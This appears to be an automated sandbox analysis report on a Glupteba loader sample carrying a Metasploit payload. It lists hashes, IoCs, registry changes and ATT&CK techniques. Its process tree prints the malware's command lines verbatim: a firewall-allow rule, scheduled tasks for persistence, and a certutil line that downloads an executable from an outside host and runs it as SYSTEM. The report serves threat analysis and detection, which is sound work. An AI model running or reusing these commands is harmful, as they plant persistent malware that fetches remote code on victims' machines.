glupteba | 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696

General

Target

3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
Size

3.9MB
MD5

a304fcc7873a037dbaa4750a2708b886
SHA1

527abe28f3bf912694ba2c73c496783faf306fc8
SHA256

3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696
SHA512

85e6bf852732c47bf5de9720742d14ca768a9e79494929153c61d806fc0730b2bfb23a62a84125e9951574830460f504d7631bad5aa5bec243d2428d3b2031bd

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 7 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4436-131-0x0000000002F20000-0x0000000003724000-memory.dmp	family_glupteba
behavioral2/memory/4436-132-0x0000000000400000-0x0000000000C2E000-memory.dmp	family_glupteba
behavioral2/memory/4436-134-0x0000000000400000-0x0000000000C2E000-memory.dmp	family_glupteba
behavioral2/memory/2828-138-0x0000000000400000-0x0000000000C2E000-memory.dmp	family_glupteba
behavioral2/memory/2828-143-0x0000000000400000-0x0000000000C2E000-memory.dmp	family_glupteba
behavioral2/memory/916-144-0x0000000000400000-0x0000000000C2E000-memory.dmp	family_glupteba
behavioral2/memory/916-150-0x0000000000400000-0x0000000000C2E000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 4260 created 4436	4260	svchost.exe	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
PID 4260 created 916	4260	svchost.exe	csrss.exe
PID 4260 created 916	4260	svchost.exe	csrss.exe
PID 4260 created 916	4260	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

916 csrss.exe
884 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

224 netsh.exe

pid	process
916	csrss.exe
884	patch.exe

pid	process
224	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MorningMoon = "\"C:\\Windows\\rss\\csrss.exe\""	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

3500 bcdedit.exe

pid	process
3500	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe

description	ioc	process
File opened for modification	C:\Windows\rss	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
File created	C:\Windows\rss\csrss.exe	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

396 schtasks.exe
1392 schtasks.exe

pid	process
396	schtasks.exe
1392	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2872 = "Magallanes Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2892 = "Sudan Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.execsrss.exe

pid	process
4436	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
4436	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
2828	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
2828	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
916	csrss.exe
916	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	4436	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
Token: SeImpersonatePrivilege	4436	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
Token: SeTcbPrivilege	4260	svchost.exe
Token: SeTcbPrivilege	4260	svchost.exe
Token: SeBackupPrivilege	4260	svchost.exe
Token: SeRestorePrivilege	4260	svchost.exe
Token: SeBackupPrivilege	4260	svchost.exe
Token: SeRestorePrivilege	4260	svchost.exe
Token: SeBackupPrivilege	4260	svchost.exe
Token: SeRestorePrivilege	4260	svchost.exe
Token: SeBackupPrivilege	4260	svchost.exe
Token: SeRestorePrivilege	4260	svchost.exe
Token: SeSystemEnvironmentPrivilege	916	csrss.exe
Token: SeBackupPrivilege	4260	svchost.exe
Token: SeRestorePrivilege	4260	svchost.exe
Token: SeBackupPrivilege	4260	svchost.exe
Token: SeRestorePrivilege	4260	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.execmd.execsrss.exe

description	pid	process	target process
PID 4260 wrote to memory of 2828	4260	svchost.exe	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
PID 4260 wrote to memory of 2828	4260	svchost.exe	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
PID 4260 wrote to memory of 2828	4260	svchost.exe	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
PID 2828 wrote to memory of 2264	2828	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe	cmd.exe
PID 2828 wrote to memory of 2264	2828	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe	cmd.exe
PID 2264 wrote to memory of 224	2264	cmd.exe	netsh.exe
PID 2264 wrote to memory of 224	2264	cmd.exe	netsh.exe
PID 2828 wrote to memory of 916	2828	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe	csrss.exe
PID 2828 wrote to memory of 916	2828	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe	csrss.exe
PID 2828 wrote to memory of 916	2828	3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe	csrss.exe
PID 4260 wrote to memory of 396	4260	svchost.exe	schtasks.exe
PID 4260 wrote to memory of 396	4260	svchost.exe	schtasks.exe
PID 4260 wrote to memory of 1392	4260	svchost.exe	schtasks.exe
PID 4260 wrote to memory of 1392	4260	svchost.exe	schtasks.exe
PID 4260 wrote to memory of 884	4260	svchost.exe	patch.exe
PID 4260 wrote to memory of 884	4260	svchost.exe	patch.exe
PID 916 wrote to memory of 3500	916	csrss.exe	bcdedit.exe
PID 916 wrote to memory of 3500	916	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
"C:\Users\Admin\AppData\Local\Temp\3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4436

C:\Users\Admin\AppData\Local\Temp\3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
"C:\Users\Admin\AppData\Local\Temp\3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2828

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:2264

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:224

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:916

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:396

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1392

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:884

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:3500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4260

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
a304fcc7873a037dbaa4750a2708b886

SHA1
527abe28f3bf912694ba2c73c496783faf306fc8

SHA256
3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696

SHA512
85e6bf852732c47bf5de9720742d14ca768a9e79494929153c61d806fc0730b2bfb23a62a84125e9951574830460f504d7631bad5aa5bec243d2428d3b2031bd

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
a304fcc7873a037dbaa4750a2708b886

SHA1
527abe28f3bf912694ba2c73c496783faf306fc8

SHA256
3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696

SHA512
85e6bf852732c47bf5de9720742d14ca768a9e79494929153c61d806fc0730b2bfb23a62a84125e9951574830460f504d7631bad5aa5bec243d2428d3b2031bd

Download Submit
memory/224-136-0x0000000000000000-mapping.dmp

Download
memory/396-145-0x0000000000000000-mapping.dmp

Download
memory/884-147-0x0000000000000000-mapping.dmp

Download
memory/916-139-0x0000000000000000-mapping.dmp

Download
memory/916-144-0x0000000000400000-0x0000000000C2E000-memory.dmp

Filesize
8.2MB

Download
memory/916-150-0x0000000000400000-0x0000000000C2E000-memory.dmp

Filesize
8.2MB

Download
memory/916-142-0x0000000002E00000-0x00000000031A8000-memory.dmp

Filesize
3.7MB

Download
memory/1392-146-0x0000000000000000-mapping.dmp

Download
memory/2264-135-0x0000000000000000-mapping.dmp

Download
memory/2828-137-0x0000000002A4C000-0x0000000002DF4000-memory.dmp

Filesize
3.7MB

Download
memory/2828-133-0x0000000000000000-mapping.dmp

Download
memory/2828-143-0x0000000000400000-0x0000000000C2E000-memory.dmp

Filesize
8.2MB

Download
memory/2828-138-0x0000000000400000-0x0000000000C2E000-memory.dmp

Filesize
8.2MB

Download
memory/3500-149-0x0000000000000000-mapping.dmp

Download
memory/4436-132-0x0000000000400000-0x0000000000C2E000-memory.dmp

Filesize
8.2MB

Download
memory/4436-130-0x0000000002B73000-0x0000000002F1B000-memory.dmp

Filesize
3.7MB

Download
memory/4436-134-0x0000000000400000-0x0000000000C2E000-memory.dmp

Filesize
8.2MB

Download
memory/4436-131-0x0000000002F20000-0x0000000003724000-memory.dmp

Filesize
8.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads